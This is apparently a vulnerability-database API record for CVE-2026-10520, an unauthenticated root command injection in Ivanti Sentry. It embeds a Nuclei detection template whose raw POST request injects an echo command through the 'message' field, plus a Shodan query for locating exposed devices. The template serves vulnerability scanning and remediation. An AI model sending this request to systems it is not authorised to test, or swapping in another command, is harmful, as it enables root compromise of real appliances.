{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-10520/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-10520/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-10520/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-10520/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-10520/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-10520"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-10520"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-10520.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-10520\n\ninfo:\n  name: Ivanti Sentry - OS Command Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated user to achieve root-level remote code execution\n  impact: |\n    Remote unauthenticated attackers can execute code as root, leading to full system compromise.\n  remediation: |\n    Upgrade to versions R10.5.2, R10.6.2, or R10.7.1 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-10520\n    - https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523/blob/main/README.md\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"Ivanti\" html:\"Sentry\"\n  tags: cve,cve2026,ivanti,sentry,rce,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        POST /mics/api/v2/sentry/mics-config/handleMessage HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        message=execute%20system%20%2fconfiguration%2fsystem%2fcommandexec%20%3ccommandexec%3e%3cindex%3e1%3c%2findex%3e%3creqandres%3eecho%20CVE-2026-10520%3c%2freqandres%3e%3c%2fcommandexec%3e\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Message handled successfully\"\n          - \"CVE-2026-10520\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100bf4183f42e58ed6847f53e8806ee9de5bf29ddb80abf82357fef07c4b1c97a7202200bfb46e1236eebeb6c7dd24ea693fff634d5cd1c6ceb38d8e390c61ba8512ffa:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-10520"
}